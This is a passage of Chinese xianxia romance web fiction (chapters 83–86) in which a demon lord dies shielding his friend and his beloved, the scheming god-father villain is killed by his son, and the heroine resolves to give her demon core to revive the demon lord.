神若凡到底去哪儿了?他就是如此心安理得的躲在怪物身后当操盘手吗? 血冥和神思渺配合默契地斗怪,不停寻找神若凡的身影。 “你找我?”神若凡不知道从哪里悠悠地飘了出来,十分大胆地直接站在了神思渺面前。 相比于儿子的狼狈不堪,神若凡的衣角都不曾脏,面色更是红润健康,充满了谋事者事成之后的微醺感。 像是在提前庆祝一样。 他望向神思渺的眼神更是透露着几分怜悯与不舍。 神思渺冷哼一声:“你以为你的怪物能拦得住我?” “确实拦不住。”神若凡喟叹道,“后生可畏啊,你确实比当年的我要强上太多了,真是令人嫉妒的天分。” “敢不敢和我堂堂正正的决一胜负。” 听到好兄弟竟然说出这种话,血冥顿时不赞同的向他望了过去,狠狠瞪了他一眼。 和惯会出阴损法子的神若凡说公正,是生怕他不会下黑手吗? 神思渺装作没看见,依然倔强的等待着对方的回答。 神若凡露出了不敢置信的表情,顿了顿:“好,既然如此,那我就成全你。” 血冥无言,只能退开。 天空上方被清出了一片空旷的区域,所有打斗都避开了这里。 血冥也退让出了天空,心中隐隐有些不安,可具体是什么,他又说不上来。 他总觉得,自己似乎忘了什么。 可来不及等他细想,天空中的二人已然缠斗在了一起,赤手空拳肉搏着,发出了砰砰砰令人胆战心惊的声音,巨大的冲击力令所有人踉跄了一下。 等大家站稳之后纷纷抬头向天上望去,心中只有一句相同的话:神界之威,果然不同凡响。 血冥很担心神思渺,可他现在也帮不上什么忙,只能尽可能的多多将怪物击杀,避免发生……意外。 是了,意外!! 陶灿灿它去哪儿了!!? 这么大的一个庞然大物消失在空中,竟没有一个人察觉出异样。 糟糕,这是神若凡的明诡之计! 神思渺他中计了! 在空中的神思渺丝毫未察,他挥出的每一鞭,轰出的每一掌,都让母亲的形象在他脑海中越发明亮。 他要替母亲报仇,狠狠杀了面前这个畜牲! 神思渺的招式越发大开大合,每一次用的力气都比前一招更狠。 神若凡笑而不语,只用折扇优雅抵挡。 这样一种不把自己放在眼里的表情,看得神思渺更来气了。 然而突然间,一直盯着神若凡面部表情的他突然发现,那家伙的笑意从三分变为了七分。 “后会无期。” 他看到神若凡对他比了一个口型,笑容越来越大。 与此同时,他背后也有一股令人恶寒的阴风猛然袭来! 神思渺刚想动,偏偏面前冒出了一片绿雾,这些原本还能够脸上抵挡的毒气突然间变成了密密麻麻如苔藓般的植物,一个个加速落在他的身上后就是狠狠扎根。 神思渺痛的身形一滞,而这些根系迅速向下生长,与他的血管经脉用力缠绕吸食他的血液,并不断吸收空气中的毒气,源源不断输入到他的体内。 神思渺的视野顿时变为了一片黑,什么都看不清,气色更是惨白如鬼,一点力气都使不上来。 他还感受到自己的四肢正被这些“植物”向四周狠狠拉扯,成大字型固定在了空中。 可以说,他现在就是一个再好不过的靶子。 中计了。 他面色一凛。 神思渺不再有所顾忌,当下便立马做出了反应,决定燃烧一滴心头血来破眼前之局。 失去心头血之后他便会极度虚弱无力,但眼下顾不了那么多了。 他飞快地掐诀运气,可是已经来不及了。 因为,陶灿灿的动作比他更快。 她趁着血冥和神思渺不备,早已以神思渺为圆心向四周分散成了一个个小怪,不停吸食其他怪物们的毒气壮大自己。 如今,她也到了该合体吞噬重组的时候,而合体最中心的目标就是—— “神,思,渺。”她轻轻念道。 这一次它是用人类的声音念出来的,甜美天真的仿佛依然是曾经的陶灿灿。 “永远在一起吧。”她笑着,召唤碎成一片片的自己重新拼起来。 原本它便是顶着强大的吸力强行让自己分散开,距离越远,抵挡吸引力的力量就越大,它的速度也就越慢。 而现在一卸力,根本不需要它做什么,每一个“自己”便以破空之速尖啸着飞向神思渺。 怪物们拼合的速度极快,寻常人根本反应不过来,更不用说早已被固定在原地的神思渺了。 也难怪神若凡会提前露出了胜利者的笑容,庆祝他生命的倒计时。 但是,神思渺没有注意, 不代表血冥没有察觉。 就在神思渺咬牙加速燃烧心头血,强行吞噬体内的毒气,让自己的视野重新恢复清明时。 根本没等他做完这些,他便被一股巨大的力量推了出去,而后便听到了轰的一声,以及计划被破坏后怪物愤怒无比的尖叫声。 神思渺踉跄回头,强行睁开眼眸,顶着灼烧的血泪模糊去看。 一抹黑色的身影好似脱了线的风筝,又像是枯败的落叶。 轻飘飘的,无力下坠。 他怔住了。 “冥冥!!!不——”云宛白撕心裂肺地喊道。 她终究还是迟了一步。 第84章 第84章比失去更可怕的,是我以…… 这一路狂奔,云宛白只感觉到肺部一顿灼烧,心脏如鼓雷般轰轰作响。 她早已喘的上气不接下气,整个人早已麻木,可即便如此她还是拼命向前。 可是她看到了? 冥冥他…… 灵魂早已不自觉的被那道坠落的身影所牵动,云宛白的大脑一片空白,她也不知道当时自己到底在想些什么,脑袋里就只有三个字:接住他。 她是这么想的,也这么做到了。 当血冥落入她怀中的那一刻,她才忽然惊觉,原来冥冥可以这么的轻,这么的脆弱。 神思渺收回了伸出的手,远远站在了云宛白的身后,他用力眨了眨眼,似乎现在才意识到刚才到底发生了什么事。 战场一片寂静,无端生出些悲凉落寞的气氛。 包括运筹帷幄的神思渺,他从来都没有设想过眼前这样的场景,这样的结果便是他当下没了反应,更不用提继续追杀陶灿灿和神若凡。 血冥方才那一撞,成功破坏了陶灿灿精心谋划的合体角度,以至于她想要将神思渺一举包裹在自己体内慢慢消化的计划失败了。 而且,血冥在被陶灿灿撞击时也并没有丧失他的主动权,而是奋力向前一迎,主动撞向了将躯体硬化的陶灿灿,让她原本就崩散的碎片更加破碎,向四周喷溅而出。 可即便遭此重创,陶灿灿也还没完全死。 只要她的魂魄还不灭,就能够重组再生这副躯体。 然而,她的魂魄早就在疯狂的对战中逐渐消耗到了尽头,灵魂之火忽明忽暗,碎片重组的速度以极为缓慢。 不知道是不是因为弥留之际的影响而窥探到了一丝天机,陶灿灿忽然从混沌的状态中清醒了。 她能以第三视角看到破碎的自己,眨眼间便回顾自己穿越而来所有发生的一切,连带着穿越之前的旧事记忆也愈发清晰了起来。 她环望战场,眼神不由自主地落在了一道突兀的身影上。 冰棘豹,云宛白。 像一缕金光冲破了云间雾霭,在这刹那间,她的灵台顿时一片清明,突然间什么都明白了。 原来是她。 原来是她抢走了属于我的气运。 对,我本该是这世界的宠儿,我可以拥有世间所有的美好。 无论是神思渺还是血冥,还有其他所有的男人,本来都应该是我的。 可是因为她的出现,她夺走了我的一切,也因为她才破坏了我的幸福,让我沦落至现在不人不鬼的模样。 甚至于! ……我要死了。 魂魄散尽,世间将再无我陶灿灿此人。 好运的穿越大抵只有一次,我也没办法再向其他修仙之人那样寿命永驻,体会真正的自由与快乐。 是她,都是她。 她是罪魁祸首,她怎么可以安然无恙地活着,怎么能够让她轻而易举地接受我拼搏而来的一切? 既然我得不到,她也别想得到。 陪我一起死吧,黄泉路上如此孤单,我总要找个人作伴。 云宛白,呵呵呵~ 碎片在不停地颤动,慢慢向着一个方向集中而去,逐渐拼凑成了一个小型的怪物。 它与周围其他怪物并无两样,完美隐藏在了其中,远远窥视着云宛白他们。 只见它愤怒无声地张嘴,一枚灰色浑浊的光球逐渐凝成,冲着云宛白的后背而去。 然而无人注意到这一幕,大家所有的注意力都放在了替神思渺挡了一劫的血冥身上。 火灼等魔界战士们自然看到了尊主受伤的那一刻,他们陡然爆发出了空前的愤怒。 站在原地静默显然不是他们的风格,他们只会更加狂暴嗜杀,用鲜血来祭奠他们的王。 无论是尊主还是他们,都将这一战役视为必须达成的夙愿,哪怕前仆后继地付出生命也必须完成。 所以,杀! 杀光这些怪物,为尊主报仇!! 他们疯狂杀敌,打斗声空前响亮。 可云宛白已经什么都听不见了,她只能听到自己的心跳以及冥冥微弱的呼吸声。 他还活着。 太好了,他还活着! “冥冥,冥冥你怎么样,疼不疼?”云宛白跪坐在地上,双手紧紧抱着他,让他揽在自己怀中。 她的声音非常颤抖,动作也很是慌乱,但她忍住了摇晃冥冥的动作,生怕加重他的伤势,只用叫喊声慢慢呼唤他。 血冥微弱地掀开眼眸,一片模糊之中,映入眼眸的便是他在战前一直魂牵梦绕的乖乖。 她看起来好像哭了,嗯,现在又破涕而笑了,是因为看到我醒了吗? 看来乖乖果然很担心我。 不要怕,我还在,我怎么可能那么容易死? 血冥扯了扯嘴角,试图用笑容来安抚他家手足无措的乖乖,让她不用那么担忧。 他还挣扎着抬手,想要帮乖乖擦去滑落在脸颊上的泪水。 可一瞬间,他的面色一变,从温柔顿时变得冷冽如霜。 原本他还无力地躺在云宛白的怀中,然而下一秒不知道他哪里来的力量猛然坐起,双手死死扣住云宛白的肩膀就是一个扭转,紧接着,他的后背狠狠迎上了一道灰淡透明的光波。 轰的一声——!! 云宛白被血冥用力抱在怀中飞出了很远,即便隔着一个人,云宛白也被震的吐出了一大滩血,全部喷在了血冥的胸膛上,一片鲜红触目惊心。 而就在这光波轰出的那一瞬间,神思渺也瞬间定位到了陶灿灿所在的位置,毫不犹豫地向她发起了致命攻击。 这一次他的心头血已然燃烧充分,狠狠打在了昔日爱过的猫儿身上。 空气中似乎传来了一声熟悉的“喵~”,然后,怪物由灰烬化为了一片虚无,魂飞魄散。 至此,彻底消失在了这个世界上。 这变故极快,就发生在眨眼之间。 神思渺狠狠吐了一口血,再也撑不住身体半跪在了地上。 他用力闭眸,强行压下了此时内心中涌起的复杂与苦涩。 他还不能停下,还有神若凡和血冥。 对,血冥,他还活着吗? 神思渺咬紧牙关强行站起,跌跌撞撞地朝着血冥的方向而去。 至于神若凡,待神思渺先看看血冥的情况后,再用这熊熊燃烧着的心头血亲自去了结。 云宛白的大脑被这突如其来的攻击震的发昏,耳边出现了嗡鸣声,云宛白眼前一黑什么都看不见,完全不知道刚才到底发生了什么。 等她好不容易站定,怀中的男人似乎更轻了,轻到好像已经不存在了一样。 有一种名为“失去”的空前落寞如潮水般将云宛白狠狠包裹,令她再也无法保持理智。 “冥冥?冥冥?” “你别吓我啊冥冥,这一点都不有趣……” 云宛白一顿碎碎念,害怕地晃了晃血冥的胳膊。 可她得到的,是颓然无力,头倒在自己肩膀上的血冥。 强行让自己安静下来去听他的呼吸声,可是,她什么都没听到。 云宛白慌了,她用力握住血冥的手与他十指相扣,想要能够最充分地去感受他的存在。 然而这一回,她没有感受到任何回握的抓力,甚至对方的体温也越来越低。 放在平时,冥冥一定会用力扣住她的手越抓越紧,而不是像现在这样任她摆弄,像个破败的布娃娃一样。 云宛白已经没办法正常思考了, 她手忙脚乱地拿出冥冥送给她的荷包,用指尖用力摩擦着荷包上凸起的针脚,似乎这样能令她更安心一些。 而另一只手飞快地从荷包里掏出各种能够起死回生的神药,一个劲的就往血冥嘴里塞。 可是,血冥早已失去了吞咽的能力,丹药从他的口腔里脱出,一粒粒地掉落在了地上,也像慢动作一样缓缓砸在了云宛白的心尖上。 比失去更难受的,是失而复得后的再次失去。 这一刻,密密麻麻的猜想和想法疯狂涌入到了她的脑海之中,她不禁联想起了原本的剧情线,在最后的大结局中等待血冥的唯有死亡。 本以为自己能够带着他避开既定结局,可现在,将他推入死亡深渊的,居然就是自己。 本来他不会死的。 第一招他替神思渺而挡,那时候虽然身受重伤但绝不致死,他还睁眼看她了呢。 而第二招,云宛白刚才已经回想起来了,那道杀招就是冲着她来的,是血冥硬生生与她互换位置,替她而挡。 如果不是自己的出现,血冥是不是就不会死? 是不是? 答案毋庸置疑:是。 云宛白再也忍不住内心汹涌澎湃的情绪,任由眼泪疯狂涌下。 无尽的谴责和悔恨都灌注在了自己的身上,她没有一次像现在这样如此痛恨金手指的存在。 有很多的话想说,可是,好像已经来不及了。 云宛白冷静下来的速度比她想象中还要快,她止住了泪水,无比珍惜的将血冥拥入怀中,脖颈相互靠在对方的肩膀上。 即便来不及,她还是想告诉他,只讲给他听。 云宛白无视了战场,无视了一切,只是埋头低语着。 就像每天睡前她会向血冥讲述一天的趣事或烦心事一样,把他的黑发缠绕在自己的指尖上,缓缓握拳用力攥在掌心。 “臭冥冥。” “你个大反派,能不能有个反派的样,为什么偏偏对我这么好?” “你知不知道你这么做很不划算啊,嗯?” “真是的,你这样真的会把我宠坏。” “你看,没了你的话,还有谁会对我这么好?” “你是存心的吧臭冥冥,你就是想让我永远都忘不了你,永远都觉得别人比不上你,对不对?” “好有心机啊,臭冥冥。” 云宛白讲着讲着忍不住又哭又笑,胡言乱语地说着。 神思渺单膝跪在了血冥身旁,再也感受不到关于血冥的气息。 他的悲伤全然转化为了滔天的愤怒,心头血燃烧的更加旺盛了,神思渺大吼一声凌空而起。 “神若凡!!!” 我要杀了你,替我兄弟报仇!! 而神若凡早见形势不妙,已经借着怪物们的身形躲藏前往神界深处,试图躲回到神界的灵台树地下。 那里有一处密道,能够直通冥界的轮回树。 只要去了那里,他就还有东山再起的机会。 该死的孽子,竟将我逼迫如此!我迟早要吃了你!让你凤家一脉断子绝孙! “谁说要让我凤家断子绝孙?” 一道身影自灵台树背后而出,冷冷盯着狼狈逃命的神若凡。 第85章 第85章峰回,会有路转吗 神若凡迎面撞上了来人,他不曾想过居然会在这里遇到阻拦,一时间有些错愕。 他后退一步眼睛眯起,警惕性拉到了最高,仔细打量着来人。 端详一番后,神若凡不确定地问道:“你是,凤家三长老?” “不错,正是老夫。” 三长老佝偻着背,一副老态龙钟的模样,可他自体内盛放而出的凤家火焰却在熊熊燃烧,对神若凡目露凶光。 “终于等到你了,不枉老夫等人在这里蹲守许久。”三长老恨不得仰天长啸,发泄多年来心中的苦闷。 “你居然没死!?”神若凡很是震惊。 他明明记得自己已经把凤家上上下下除了神思渺之外的血脉全部屠戮了个干净,包括奴仆婢女侍卫等,凡是有牵连的他都没有留下活口。 甚至于三长老的死尸他还见过,那么眼前之人又是谁? 神若凡的眼神左右来回闪烁思考,他恍然大悟,不由得露出一抹讥笑:“是那逆子做的?是他把你们藏起来了,是吗?” 他根本没有想要得到三长老的回答,而是自顾自说了起来:“他从那个时候就已经怀疑我了,他竟然韬光养晦了如此之久……哈!哈哈!” 神若凡不禁大笑了起来,他欣喜于神思渺的聪慧,也憎恨他与自己的相像。 为什么? 为什么偏偏生出这样一个令他又爱又恨的种。 又为什么,逆子竟比自己还强上一分。就一分,胜负已分。 “你活得太久了,活到我怕我们家主人都快忘记对你的恨。”三长老冷冷开口。 随后,他的背后出现了出了越来越多的凤家之人,密密麻麻地堵在了灵台树下。 他们早已改换门面,有的是仆从,有的是神人,男男女女各种身份。 而他们看向神若凡眼中的仇恨一模一样,并未随着岁月的逝去而消散,反而愈烧愈旺。 “嗤~这么多。”神若凡笑出了声,感慨地摇了摇头。 能够保下这么多人,神思渺那家伙还真是令人“惊喜”。 很快,神思渺收到消息后也赶了过来,缓缓落在了三爷爷的身旁,像看死人一样直勾勾盯着神若凡。 他用力扣住鞭子,生怕自己忍不住怒火一鞭子过去直接了事。 但他不想这么做。 痛快的死法太便宜神若凡了,他就该在所有凤家人面前赎罪,历经千刀万剐呜咽而亡。 只可惜,现在还不是时候,他也不能这么做。 神若凡预见了自己的结局。 当最后一条生路都被凤家之人堵的严严实实,他就已经有预感了,更别说自己与他们之间本就有着血海深仇。 今日,他逃不掉了。 神若凡紧绷的神情忽然放松,倒是有了几分看淡生死的安然。 他不后悔自己所做的一切,到最后不过就是愿赌服输这四个字。 他没什么好再挣扎的。 但关于自己曾经、也是唯一的妻子,他还有些话想对面前的这些人说。 “我还记得,三长老你曾经劝过芸儿让她不要相信我,更不要与我成婚,可她还是毅然决然地嫁给了我。” “即便是她快要毒发身亡的最后一天,我就坐在她的床边,将最后一口毒药喂进她的嘴里,她都没有反抗。我和她不过一拳 之距,她却仍然没有把你送给她的护身匕捅入我的胸口。” “你知道我想表达的是什么吗?” 三长老全程都冷冷地盯着他,并不愿意接话。 而神若凡也不恼,仰起头回忆往昔,似在缅怀:“我想说,她是被她所谓的爱情与责任蠢死的,落得这样的结局是她活该。” “你!!” 神思渺成功被激怒了,他高高扬起鞭子,恨不得当即抽死眼前这个畜牲。 但他的鞭子被三长老拦了下来,三长老同样生气,可他忍辱偷生多年就为了等眼前亲手活捉神若凡的这一刻。 他也想知道主人到底嫁给了怎样一个负心汉,神若凡到底是怎么能够说出如此没有良心的话来? 大概是想着在临死前也要恶心在场的各位,神若凡坦然做回了最真实的自己,将所有的恶念暴露无遗。 “我早就告诉过她,情这一字最是虚妄。” “我知道她查出来我们第一个女儿神安渺之死与我有关,跟我大哭大闹。” “可那时候她已经怀上了神思渺,再怎么恨我也还是要好好养胎,她保不住第一个孩子,自然想要第二个安安稳稳活下来。在查出来是男孩之后,她还很可笑的期盼着我会变好,能对儿子好一些。” “她是什么人,凭什么要我做出改变,真是笑话。” “再后来,凤家与神家更是结合紧密,早已不分彼此。就算她想要与我和离,凤家之人又该如何自处,所以,她是被你们牵绊住了脚步。” “她早已没了我曾经最欣赏的英姿飒爽的一面,就知道在后宅里等着我回来,还求我尽父亲的责任,能和她一起在儿子面前演出相敬如宾恩爱的模样。” “被母爱与责任所牵绊,犹犹豫豫优柔寡断,这样的人,怎配——” “啪!” 神思渺抽出了一鞭,狠狠打在了神若凡的脸颊上瞬间划出一道血口,鲜红色喷溅而下。 他不想再听神若凡废话了,他也不想再从这畜生口中听到任何对他母亲不敬的话。 三长老更是如此,她是主人最忠心的世仆,更是从小看着她长大的三叔叔。 他好恨自己为什么当初没有再决然的阻拦启芸,害启芸所遇非人,遭此祸害。 他微不可察地对神思渺点点头,手中悄无声息地握紧了一块留影石。 弑父本是一件有违天道的事,但神思渺今日说什么都要杀了神若凡。 可为了天下一统的正义性,他不能落人口舌。 因此,他必须要留下真实的影像,将神若凡的罪证公之于众,再以正义之名向他发起“诛杀令”。 这样一来,他弑父的行为便能改口为“替天道肃清罪恶”,一切就能名正言顺。 在众目睽睽之下,神思渺完美实现了自己的计划,将手中之鞭对准了神若凡。 尽管心中有些疑惑神若凡为何如此配合的“束手就擒”,但在念出神若凡的罪状时,神思渺还是不由自主地激动愤怒了起来。 最后,他用方才燃烧心头血所剩的最后一丝神力灌注到了凌空鞭之中,狠狠挥向了神若凡。 就在此刻! 神若凡突然动了! 他从袖口中猛然掏出了属于凤家的家族法宝“净天镜”大喝一声,飞快掐诀将法宝变大护住自己,同时狠狠攻向神思渺。 显然,这也是他蓄谋已久的反击,带着最后的搏命之意与神思渺对撞在了一起。 凤家之人大惊,他们认出了净天镜,脸色一片苍白。 作为凤家的家族之宝,净天镜不仅防御强悍,更能将敌方攻来的招式全数吸收并以百倍之力反弹,可以说是单体最强的神器。 正是因为这一点,神若凡才费尽心思将它骗至自己手中,常年封印起来带在身边,作为他最后的底牌从未露面。 大家千算万算,谁都没料到有净天镜的存在。 他们的少主!危矣! 神若凡更是猖狂地大笑出声,他就不信神思渺遭到自己的最强一击百倍反噬还能不死。 哪怕被凤家之人包围他丝毫不怵,只要能带走神思渺一起赴死,也算是最后对凤家致命的报复了。 可惜他打错了算盘。 解开封印后的净天镜确实攻击了出去,可就在接触凌空鞭挥来的神气时,它感受到其中属于神思渺的心头血后,净天镜停下了。 这是凤家血气。 而净天镜,护主! 百倍攻击瞬间化为了清风,就像是母亲抚摸儿子脸颊那般,温柔而又思念。 净天镜“苏醒”了。 它像是觉醒了自我意识一样脱手飞出,朝着神思渺的方向飞去。 任凭神若凡如何拽动它,净天镜都不曾停留,甚至恼怒地升腾起了一股金色的火焰灼烧了神若凡的魂魄,令他痛苦地倒在地上四处翻滚扑火。 神思渺接住了净天镜,神色复杂。 刚才差一点遭到攻击的那一刻,他感受到了母亲的存在。 就好像记忆中永远保护着他的母亲,在那一刻又一次的守护着他。 “净天镜……”他用力地将它抱在怀里,想要留住母亲残存的气息。 “可恶!为什么!啊啊啊!!!”神若凡又痛又恼,他不明白为什么自己万无一失的计划竟也出了纰漏。 那个女人从始至终就没有真正的爱过他,到死之前还给他留了这么一手,害他真的相信了她。 该死!都该死! 神思渺冷冷睨着脚下狼狈翻滚着的“神君大人”,他不再犹豫,面无表情地挥起凌空鞭。 很快,神若凡没了动静,也没了气息。 神思渺早已没有折磨他的心思,只是将净天镜抱得更紧了一些。心头血燃烧殆尽,他顿时虚弱地一个踉跄,但从始至终他都将净天镜稳稳捧在怀中。 三长老赶紧搀住了神思渺的胳膊,见他唇色如雪,一头长发也都暗淡了许多,眼眶不禁泛红。 在凤家人的注目之下,神思渺稳住了身形,轻轻道: “母亲,我们接您回家。” …… “我来了,我来了!” 宿庚从煞惹龙的背上飞跃而下,后面还跟着荼玉,他上气不接下气地飞快赶到了豹儿和尊主的身边,毫不拖泥带水地检查起了尊主的情况。 宿庚是被火灼紧急叫到最前线来的,从他口中听闻尊主受了致命伤可能已经“牺牲”的消息,宿庚简直不敢置信。 尊主大人乃是世间最强者,谁能伤得了他? 即便是所谓的神君,竟然有如此厉害的本事吗? 他是不信的。 可眼前的情况,又不容他不信。 云宛白早已六神无主,在看到宿庚的身影时她这才慌忙抬头,死寂般的内心重新恢复了一丝希望。 “爷爷…爷爷!”云宛白激动哽咽,两眼重新冒出了星光。 她好希望爷爷能告诉她冥冥没死,冥冥还有救。 “豹儿先别急,让爷爷看看。”宿庚简单安慰了她一两句之后立刻把脉,将所有的注意力都放在了尊主的身上。 一旁的火灼悲痛但又不失冷静的简单讲述了方才的一切,供宿庚参考救治。 宿庚现在是魔界最强的大魔医,如果他都没有办法,那尊主就真的…… 火灼不敢再往下想。 云宛白更是眼睛完全不眨地盯着爷爷,想从他嘴里听到哪怕只有一点点的好消息。 面对众人的目光,宿庚丝毫没有受到干扰,他很是认真地检查起了尊主的伤势。 与此同时,荼玉默契地递来了宿庚常用的药箱并打开。 宿庚向旁瞥了一眼努努嘴,荼玉立马拿起一个药瓶打开,倒出一粒丹药递到了宿庚面前。 “爷爷我试过了,冥冥他什么药都吃不下去,他、他的 心脏不跳了……” 云宛白好不容易冷静下来,可刚没说几个字眼眶就又开始泛红,声音更是哽咽得没办法把话说完整。 荼玉心疼地看了她一眼,强逼着自己将注意力重新放回到魔尊身上,全力配合师父。 宿庚像是没听见一样,将丹药塞进了尊主口中,随后用手扣住他的下巴,静待了数十秒。 随后宿庚将丹药重新取出,只见手中这枚褐色的丹药竟变成了白色,丹药外壁上还渗出些绿色的水珠。 “这是何意?”火灼焦急询问。 另外两位门主和几位堂主在解决完了剩下的怪物之后,也都站在火灼身后,见到尊主的“尸体”后面色一片惨白。 宿庚皱着眉头检查起了这枚丹药,表情一点点凝重了起来,但他这副样子要比最开始死寂一样的面孔要好上许多。 他方才检查了尊主的伤势,能看出尊主已经尽力去避开致命点,但因为情况紧急,尊主扭转身体的角度还是出现了少许偏差,导致经脉受到了光波冲击而强力受损。 听火灼说,这些怪物都曾释放过绿色的毒雾,但后来便没有再出现毒气攻击。 他本来有个想法但不确定,而经过了丹药检测,宿庚成功试出了自己的猜测。 看来,那只伤到尊主的巨怪应当是将其他小怪的毒雾全部吸收了过来并在体内不断浓缩凝练,并随着最后一束光束成功击打在了尊主身上。 而这剧毒便顺着肌肤进入了尊主的血脉,才令尊主没了呼吸。 “是毒血裹住了经脉,以至尊主无法吞吐灵气,从而丧失了生机。”宿庚给出了自己的判断。 丧失生机。 这四个字就判定了尊主的状况。 尊主死了,他就死在大战胜利的前一刻。 魔族全体垂头默哀,实在难以消化这惊天噩耗,隐隐有抽泣声传了出来。 可就在这时,宿庚又补了一句:“但尊主还有的救。” 什么!? 众人猛然抬头,眼神中重新燃起了十分狂热的希望与光亮,云宛白更是激动地直接抓住了爷爷的胳膊。 但下一秒,宿庚的话又让大家如坠冰窟。 “只是解救尊主的方法,世间已无。” 宿庚沉痛摇头。 第86章 第86章冥冥之中,早已注定 “爷爷,你一定有办法的对不对?”云宛白红着眼倔强地问道。 她不相信爷爷会没办法。 【豹儿】 宿庚低声道。 云宛白一愣,缓缓将眼眸垂下。 【爷爷,您这是……】 尽管不明白为什么,但她也同样选择用传音的方式和爷爷对话。 【办法当然有,可我不愿意当着这么多人的面说】 宿庚看似在查看尊主的伤势,实际上正在斟酌如何开口。 但云宛白等不及了,她迫不及待想要知道答案。 【爷爷,求您告诉我,您说的方法到底是什么?哪怕有一次成功机会,都值得一试啊!】 宿庚轻轻吐了一口气,神情复杂地望向豹儿。 【如果我说,尊主唯一的解药,就只有你呢?】 宿庚将解毒的方法和原因细细讲述给了云宛白,但从始至终他的态度一直都是坚决反对。 【孩子,尊主既然选择以他的性命为代价来救你,他肯定不希望你再因为他出什么事】 【尊主对你的心意我再清楚不过了,何况你已经为尊主险些丧命了好几次。听爷爷的,你不欠他,也不欠魔族任何人】 能够说出这些话,宿庚已经违背了他作为魔族人最重要的忠诚原则。 可这些话他必须说,他是豹儿的爷爷,更是把她一点一点养大的,他怎么能眼睁睁看着乖乖涉此险境? 【我不愿当着众人说的原因便是如此,我不想那些魔族人在听到解救尊主的办法后失了理智,在众目睽睽之下逼你换命】 【豹儿,你是自由的,你有属于你的选择】 【而且从私心来讲,爷爷不希望你这么做,我甚至更希望你能自私一点,多为你自己考虑】 说宿庚冷血也好背叛也罢,如今大局已定,魔界已然不会有太大的后顾之忧。 无论是尊主还是神思渺,他们都是贤能之主,谁来管理魔界都能蒸蒸日上。 能够救活尊主固然是一件好事,这也是众人所愿。 可是,有谁在乎豹儿的牺牲呢,她又凭什么要被牺牲。 当爷爷的,实在不认同这样的救命之法。 【更何况,这也只是爷爷能够想出的唯一方法,奏不奏效尚且另说,可代价确是实实在在的】 【万一不成功呢?尊主依然不会醒,可你就再也醒不过来了……】 宿庚苦口婆心。 云宛白沉默地听着,半晌没抬头。 她很感激爷爷对她无条件的偏爱,她知道爷爷能够对她说出的这番话到底背负了多大的代价。 这是她真正的亲人,只有真正的亲人才会让她好好爱自己。 可是…… 云宛白握紧血冥冰冷的手,无声看向他“沉睡”的面容。 如果不是冥冥没了体温和心跳,云宛白甚至以为这就是一个寻常的清晨。 而自己只不过比冥冥早一步醒来,在伸了个懒腰之后就困倦地躺在他的身旁,半睁着眼睛望向他。 回忆在此刻交错,无数记忆涌上心头,每一幕都是她与冥冥再平淡不过的日常。 可偏偏这些画面,在回忆起来的时候最令人难过。 云宛白不喜欢设想,她也从来没有细想过自己对血冥的真实感受。 毕竟他们两个今后相处的时间有那么长,她能逃避的时间还有很多。 可意外来的突然,等到她真正失去陪伴在身边的这个人时,她就像突然被按了暂停键,不知道自己该做什么了。 说真的,云宛白在来到这个世界之后总想着得过且过,她确实有着自己的目标,但这个目标并没有那么的清晰,她的动力也没有那么强。 哪怕有着金手指,她没有非要搅动风云的执念,安安静静地修炼成长也挺好的。 可是与冥冥相处久了之后,她忽然发觉自己有了明确的努力方向,比如让血冥摆脱死亡的结局,让魔界成为赢家,保护魔界所有好人,而自己,也能在战争中大放异彩,展现出属于自己的实力。 正因如此,她每天都很乐此不疲地朝着目标前进。 但现在,她没有办法想象没有冥冥存在的日子。 坚强独立的道理她懂,但凡她没把冥冥放在心上,她都能够很坦然地继续活下去。 可是她真的做不到。 所以,她对血冥的感情,应该就是…… 爱。 【豹儿?】 宿庚的预感不太妙。 痛哭过后便是汹涌而来的疲惫,云宛白止住了泪水,脸颊还残留着未干的泪痕。 她将血冥紧紧揽在怀中,再一次开口问道: “爷爷,求您告诉我救冥冥的办法吧。” 她当着众目睽睽之面问出了声,所有人的视线都向她集中。 这下,宿庚就算有心想为她遮掩也做不到了。 他神色复杂地望着豹儿,也终于明白豹儿和尊主之间深切的感情,重重叹了一口气,算是为众人解释了一遍: “需要你的心头血为引,将你的妖丹送入尊主体内。你可要想好了,妖丹不可能再回到你的体内,而你失了心头血又失了妖丹,你自己也身负重伤,这就是一命换一命的事。” 众人无言,只静静等待着云宛白的决定。 即便是火灼,也没办法在此刻说出那句残忍的话。 尊主对冰棘豹的心思谁都清楚,他们不可能在这个时候开口逼迫。 只是,每个人还是将殷切期盼的目光投在了云宛白身上,祈祷着她的决定。 神思渺悄无声息地抱着净天镜站在一旁,他的身后是一群凤家之人。 没有人开口,大家都在给云宛白自己思考的时间与决定的自由。 到了这一刻,云宛白的心情反而平静了下来。 “我已有决定,爷爷不必再劝。”她缓缓道。 再次低头看向她的爱人。 怀中的冥冥很听话地任由她揽在臂弯之中,强大的身躯难得有了一丝小鸟依人的柔顺模样。 这要是他活着的时候,自己指定会好好嘲笑他一阵。 云宛白如释重负地笑了笑,对冥冥碎碎念:“能救你就好,要不然,你想让我愧疚死啊?” 更何况,我也已经多活了很久了,能在这个小说世界中感受这么多奇妙的境遇,一点不亏。 所以臭冥冥啊,你就当我不乖吧,留下来的人最痛苦了,我可不爱吃苦,还是由你来承担吧。 云宛白早已无视了众人的存在,眼中只有冥冥的身影。 她用目光细细描摹着他的五官,从眉毛到眼睛,再是鼻子和嘴唇,她想要仔细地将他记在心中。 没有人催促云宛白,更没有人轻举妄动。 就连宿庚也没开口,他在荼玉的搀扶下泪流满面,一师一徒低头垂泪。 把冥冥用力地记在了心里后,云宛白满意点头。 很显然,在做出了决定之后,她的心情肉眼可见的好了起来,完全没有即将赴死 的沉重,有的只是释然和从容。 云宛白将手轻轻搭在血冥的额头上,再一次轻抚着他的脸颊。 她缓缓闭眸,在血冥额头轻点一吻。 随后,她毫不留恋地睁开眼,用妖力将她和血冥徐徐托举升到空中,当着众人的面,她小心翼翼地揽住了血冥的腰间,将他凑近自己。 两个人的脸贴得极近,唇与唇之间的距离越来越短,直到即将触碰之前,云宛白能感受到自己的呼吸喷洒在对面脸上而后反弹回来的气息。 她张开嘴吐出了冰川色的妖丹,与此同时,祭出了一滴心头血滴在了妖丹上。 冰冷到极致的妖丹遇到了滚烫的血液之后,顿时发出了呲的一声。 原本蓝白色的妖丹瞬间变成了深红色,隐隐还有黑色的流沙在不断流淌。 云宛白极为认真地控制着妖丹进入血冥体内,不断运转妖力将它融入经脉之中,为他肃清毒血。 这一过程不能分心,云宛白的身体越来越虚弱,可她眸中的光亮也越发夺目。 这何尝不是一种命中注定? 